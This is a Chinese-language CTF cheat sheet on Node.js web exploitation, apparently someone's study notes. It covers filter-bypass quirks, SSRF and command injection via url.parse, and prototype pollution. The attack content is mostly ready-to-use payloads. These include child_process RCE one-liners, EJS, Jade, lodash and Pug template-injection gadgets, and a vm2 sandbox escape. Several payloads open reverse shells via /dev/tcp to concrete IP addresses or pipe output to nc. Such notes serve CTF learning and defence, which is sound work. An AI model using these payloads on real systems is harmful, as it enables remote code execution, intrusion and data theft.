Node js

代码特性

Function

image-20250918151510427

1
Function("console.log('123455');")() //Function 函数传进函数要的内容返回的就是函数,再执行。

逗号的绕过

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

1
2
info={"username":"admin","password":"123456"}
info={"username":"admin"&info="password":"123456"}

大小写转化绕过

对于toUpperCase()函数:

1
字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"

对于toLowerCase

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

replace 特性

String.prototype.replace() - JavaScript | MDN

替换一次

image-20251016134558120

特定字符替换

例题:

2025西湖论剑WP - “我不是二次元!”

【Web】TGCTF 2025 题解_tgctfweb题解-CSDN博客

image-20251016134605962

绕过一【利用 js 特性替换加入引号恒等闭合】:

image-20251016134815152

绕过二【利用反斜杠进行联合查询】:

image-20251104104331496

url.parse 特性

网鼎杯 2020 半决赛]BabyJS-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 列出黑名单
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
res.json({});
}); //页面返回的空页面

router.get('/debug', function(req, res, next) {
console.log(req.ip); // 记录请求的IP地址
if (blacklist.indexOf(req.ip) != -1) { // 检查请求的IP是否在黑名单中
console.log('res');
var u = req.query.url.replace(/[\"\']/ig,''); // 获取请求中的URL参数,并去除其中的引号
console.log(url.parse(u).href); // 输出解析后的URL地址
let log = `echo '${url.parse(u).href}'>>/tmp/log`; // 构造一个命令,将URL写入日志文件
console.log(log); // 输出日志命令
child_process.exec(log); // 执行日志命令,将URL写入日志文件
res.json({data: fs.readFileSync('/tmp/log').toString()}); // 返回读取的日志文件内容作为JSON响应
} else {
res.json({}); // 如果IP不在黑名单中,返回空的JSON响应
}
});



router.post('/debug', function(req, res, next) {
console.log(req.body); // 记录POST请求的请求体内容
if (req.body.url !== undefined) { // 如果请求体中包含URL参数
var u = req.body.url;
var urlObject = url.parse(u); // 解析URL参数
if (blacklist.indexOf(urlObject.hostname) == -1) { // 检查URL的主机名是否不在黑名单中
var dest = urlObject.href; // 获取完整的URL地址
request(dest, (err, result, body) => { // 发起对目标URL的请求
res.json(body); // 返回目标URL的响应内容
});
} else {
res.json([]); // 如果URL在黑名单中,返回空数组作为响应
}
}
});

审计一下发现,get 请求的 debug 要求必须在本地,这样的话只能通过 post 请求来 SSRF,然后这里还对 ssrf 的 url进行黑名单检测,转个十进制绕过就好了。

这里需要闭合单引号,但是引号被替换为空了这很难受。

但是 url.parse 有个特性,

image-20251016142353802

意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号:

%00 用作截断。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /debug HTTP/1.1
Host: ace028fb-9a40-44dd-9917-1503f096c14b.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=I_fZJGXMMi37C_Au3MEcBj5DfTo
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Connect-Type: application/json
Content-Length: 85

{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

HTTP解析方式

参数解析方式

1
2
3
4
5
req.body => POST/PUT请求

req.params => 类似 /api/getUserListById/:id 路由,如 http://localhost:3000/giraffe/1

req.query => GET请求,如 http://localhost:3000/animals?page=10

宽松的解析

Node.js 作为一个 JavaScript 的运行环境,仅提供了一些基础的功能和 API,然而结合一些框架和第三方库能够完成很多丰富的应用。

行符分割解析:NodeJS 会自动按\n分割 Header 内容,把换行后的结果当作独立字段处理

宽松兼容机制:不严格遵循 HTTP RFC 的 “后续行需带 SP/HT” 要求,直接解析换行后的有效字段。

自动忽略 header 键名(key)前后的空格
HTTP 协议规范里,header 的 key 是 “不允许含空格” 的,但实际开发中可能有不规范请求(比如误加空格)。NodeJS 为了兼容,会做 “trim 处理”—— 自动去掉 key 开头和结尾的空格。

对 “相关键名” 的 value 进行合并
NodeJS 解析 header 时,会把 “语义相关” 的键名对应的 value 自动拼接(这里的 “相关” 本质是 NodeJS 对不规范键名的兼容处理,而非标准逻辑,但实际生效)

也就是说在请求头中可以通过:

1
xx:xx\nadmin:true

满足 Nodejs解析 admin=true,但其他语言(PHP)不可以。

require 函数的妙用

scanme - idekCTF 2025 Web 挑战赛题解 | siunam 的网站 — scanme - idekCTF 2025 Web Challenge Writeup | siunam’s Website

image-20251204213244316

require 函数能解析一些 nodejs 代码格式的东西,类似于 include(只看文件内容,不看后缀名)。

image-20251204213345803

parseInt妙用

解决 JavaScript 中 parseInt() 的一个神秘行为 — Solving a Mystery Behavior of parseInt() in JavaScript

1
2
3
4
5
parseInt(0.0000005); // => 5
// same as
parseInt(5e-7); // => 5
// same as
parseInt('5e-7'); // => 5

因为 parseInt() 总是将其第一个参数转换为字符串,所以小于 10 的浮点数 -6 以指数符号书写。然后 parseInt() 从浮点数的指数符号中提取整数。

Express解析参数上限

攻防世界——ez_curl-CSDN博客

express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。

RCE payload

纯代码执行

1
2
3
4
5
6
process.mainModule.require('child_process').exec('whoami');
process.mainModule.require('child_process').execSync('/readflag').toString();
require('child_process').spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
require('child_process')['ex'+'ecSync']('cat f*')
require('child_process').execSync('cat f*')
global.process.mainModule.constructor._load('child_process').exec('calc')

读文件

1
require('fs').readFileSync('fl001g.txt')

SSTI

1
{{" ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")()}}

原型链污染

Node.js 中的原型链(Prototype Chain)是JavaScript实现继承的一种机制。每个对象都有一个内部链接,指向另一个对象,这个对象被称为其原型。

具体来说,原型链的工作原理如下:

  1. 当访问一个对象的属性或方法时,首先在该对象自身中查找。
  2. 如果找不到,就去其原型对象中查找。
  3. 如果在原型对象中也找不到,就继续向上查找,直到找到为止或者到达Object.prototype 为止。
  4. 如果在 Object.prototype 中也没有找到,则返回null。

请注意:

  • prototype是一个静态属性,用于描述类或构造函数的行为和属性。eg.xxx.prototype

  • __proto__是一个动态属性,用于实际访问和修改对象的原型。eg.a.__proto__

原型链污染函数 merge/copy/clone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}

function clone(obj) {
return merge({}, obj);
}

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

我们想象,当 key__proto__source[key] 又为你想要的原型链结果时,可以造成污染。

注意:我们在处理时对格式有着 JSON 的限制,那是因为字符串有可能直接覆盖掉原本原型的指向,反而指向一个其他的奇奇怪怪的东西而不指向 Object,造成原型链污染失败。

trick:用 {"constructor": {"prototype": } 一样可以污染原型链,相当于获取到了一个构造 object 的构造函数 function。

也就是说:

1
objectname["__proto__"]=objectname.__proto__=objectname.constructor.prototype = objectname["__pro"+"to__"] = objectname["__pro".concat("to__")]

浅析 __proto__prototype

nodejs 是面向对象编程的极佳体现,其中各种数据类型(包括函数)都可以看作是一种对象,而对象的顶端一般都是 object 也就是顶端的对象,下文结合一些例子看一下 __proto__prototype 的区别。

__proto__ 更注重是 类指向上一级类,比如:

1
2
3
4
test = function (){return 0;} //Function.prototype 这里test -> Function
newtest = new test();//test.prototype newtest -> test
qwq = {};//Object.prototype qwq -> object
a=8;//Number.prototype a -> number

而 prototype 是只有函数具有的一种属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
test = function (){return 0;}//test.prototype 其实就是类似于自己的一种特性(准确来说是蓝图,他能定义函数的东西)

//example:

test.prototype.qwq = function(){console.log("123456");}//正确
test.qwq = function(){console.log("123456");}//错误

a.qwq();

//同样它也可以通过 test.prototype.constructor 获取到函数本身

console.log(test.prototype.constructor==test);


//这也就是为什么 objectname.__proto__=objectname.constrctor(构造 object 的东西 对于类来说相当于原形了一步).prototype

image-20251028120126221

那么我们其实经常污染的就是 object.prototype

一道巧妙的原型链污染例题

nodejs 原型链污染新视角-先知社区

题目源码有点长,如下截取几个关键的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
app.post('/register', (req, res) => {  
const { username, password } = req.body;
if (users[username]) {
req.session.errorMessage = 'User already exists!';
return res.redirect('/register');
}
password: password,
isAdmin: false,
themeConfig: {
theme: {
primaryColor: '#6200EE',
secondaryColor: '#03DAC6',
fontSize: '16px',
fontFamily: 'Roboto, sans-serif'
}
}
};

app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.userId = username;
res.redirect('/');
} else {
req.session.errorMessage = 'Invalid username or password';
res.redirect('/login');
}
});

const parseQueryParams = (queryString) => {
if (typeof queryString !== 'string') {
return {};
}
const cleanString = queryString.startsWith('?') ? queryString.substring(1) : queryString;
const params = new URLSearchParams(cleanString);
const result = {};
for (const [key, value] of params.entries()) {
const path = key.split('.');
let current = result;
for (let i = 0; i < path.length; i++) {
let part = path[i];
if(['__proto__', 'prototype', 'constructor'].includes(part)){
part = '__unsafe$' + part;
}
if (i === path.length - 1) {
current[part] = value;
} else {
if (!current[part] || typeof current[part] !== 'object') {
current[part] = {};
}
current = current[part];
}
}
}
return result;
};


app.get('/theme', isAuthenticated, (req, res) => {
const user = users[req.session.userId];
if (!user) {
return res.redirect('/login');
}
const queryString = req.url.split('?')[1] || '';
const parsedUpdates = parseQueryParams(queryString);

if (Object.keys(parsedUpdates).length > 0) {
user.themeConfig = deepMerge(user.themeConfig, parsedUpdates);
}
res.redirect('/');
});

app.get('/flag', isAuthenticated, (req, res, next)=>{
if(users[req.session.userId].isAdmin == true){
return res.end(FLAG);
}
return res.end("Not admin :(");
});

app.listen(PORT, () => {
console.log(`Server is running at http://localhost:${PORT}`);
console.log('Please register or login at http://localhost:3000/register or http://localhost:3000/login');
});

首先审计一下嘛,你想要获得 flag,最后肯定要 user[isadmin]=1 ,这很容易让我们想到原型链污染,但是定睛一看,一个用户再注册的时候他当前类的 isadmin 已经是 0 了,也就是说正常的污染,没用,因为他根本不会向上找。

这个时候就再看看登陆的逻辑,可以发现要求 user=users[username] 存在并且,user.password=input.password,那我们可不可以直接让 user 等于一些底层的类似于构造方法的东西,user 没有就往 object 找,就找到了。然后 user.password = input.password = undefined,就过了登陆了。

比如 username=isPrototypeOf,这样 user 存在并且 user.password=input.password=undefined

那么对于获得 flagusers["isPrototypeOf"].isAdmin,显然 users 没有 isPrototypeOf 这个属性,就会找 object["isPrototypeOf"].isAdmin,那污染的时候同理,我们污染 user["isPrototypeOf"] 的时候 user 也不存在这个属性,我们同样污染到了 object

常见模板 Tricks

EJS

SSTI

Node.js EJS模板注入SSTI – Acc1oFl4g’s Blog

EJS 主要提供两种“标签”来嵌入 JavaScript 代码:

  1. <% ... %>: 执行 JavaScript 代码(通常用于流程控制,如 if、for 循环)。
  2. <%= ... %>: 执行 JavaScript 代码并将其结果 转义后 输出到 HTML 中。
  3. <%- ... %>: 执行 JavaScript 代码并将其结果 不转义 地输出到 HTML 中。这是最危险的一个。

payload:

1
2
3
4
5
<% const fs = require(‘fs’); const data = fs.readFileSync(‘/etc/passwd', 'utf8'); %><%= data %>
<%- global.process.mainModule.require('child_process').execSync('id') %>
<%-
global.process.mainModule.require('child_process').spawnSync('env').stdout.toStr
ing() %>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for <%= path %></title>
</head>
<body>
<h1>Directory listing for <%= path %></h1>
<hr>
<ul>
<li><a href="../">../</a></li>

<%
const process = global.process || (() => {
throw new Error('No process')
})();
%>

<%
const result = process.mainModule.require('child_process')
.execSync('/readflag')
.toString();
%>

<%= result %>

<% filenames.forEach(filename => { %>
<li>
<a href="<%= encodeURIComponent(filename) %>">
<%= filename %>
</a>
</li>
<% }); %>
</ul>
<hr>
</body>
</html>

从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台

原型链污染

使用方法:[nodejs——ejs模版遇到原型链污染产生rce-CSDN博客](https://blog.csdn.net/m0_73756016/article/details/139814265?ops_request_misc=%7B%22request%5Fid%22%3A%22b2d3f36a0c7d2c99173690797023219c%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=b2d3f36a0c7d2c99173690797023219c&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-139814265-null-null.142^v102^pc_search_result_base8&utm_term=nodejs ejs rce)

详细原理:从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台

img

EJS 是一个 javascript 模板库,用来从 json 数据中生成HTML字符串,读取再渲染。

而 ejs 在渲染的时候有大量代码拼接,然后我们通过原型链污染达到变量覆盖,就可以构造注入,先闭合上面的语句,再构造rce的语句,最后闭合好后买你。

常见 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1.outputFuncitonName字段:
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //"}}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

2.escapeFunction字段:
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true,"debug":true}}}

3.destructuredLocals字段:
{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"]}}

4.localsName字段:
{"__proto__":{"localsName":"x=global.process.mainModule.require('child_process').execSync('calc')"}}

5.escape字段:
{"__proto__":{"client":1,"escape":"escapeFn;global.process.mainModule.require('child_process').execSync('calc')"}}

// 打 res.render('index', req.body);
CVE-2022-29078(ejs <= v3.1.9
参考:https://inhann.top/2023/03/26/ejs/
例题:Geek_Challenge_2023 - 雨

POC:
{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"touch /tmp/pwned\");","client":"true"}}}

Jade

img

1
2
3
4
5
6
7
8
9
10
11
12
13
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

直接在函数内部执行。

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/123.57.107.33/1337 0>&1\"');//"}}}


0, "" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"');//

先闭合,然后再执行,后面注释掉。

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

lodash.template

payload:

1
2
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

PugJs

SSTI

1
#{global.process.mainModule.require('child_process').execSync('cat+f*')}

vm沙箱逃逸

NodeJS VM和VM2沙箱逃逸-先知社区

hznuCTF eznode

Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

Solution

明显看到 clone 是原型链污染,如果 shit 为真,沙箱执行了 shellcode 这个操作,不难让我们想到沙箱逃逸。

1
{"shit":1,"__proto__":{"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/6666 0>&1\"').toString();"}}

这里首先我们导入模块获得一个对象,然后我们获取他 toString 的方法,这个方法的构造函数肯定是 Function 这里我们可以直接构造 return this 并执行获得 global(全局对象,在沙箱中不逃逸是不存在的)

CTFSHOW例题

web335

payload:?eval=require('child_process').execSync('cat f*')

web336

payload:?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()

?eval=require('child_process')['ex'+'ecSync']('cat f*')

web337

payload:?a[1]=1&b[1]=1

web338

payload:

1
{"__proto__":{"ctfshow":"36dboy"}}

web339-web343

jade,ejs 到 rce。

web344

payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

node js 绕过逗号过滤。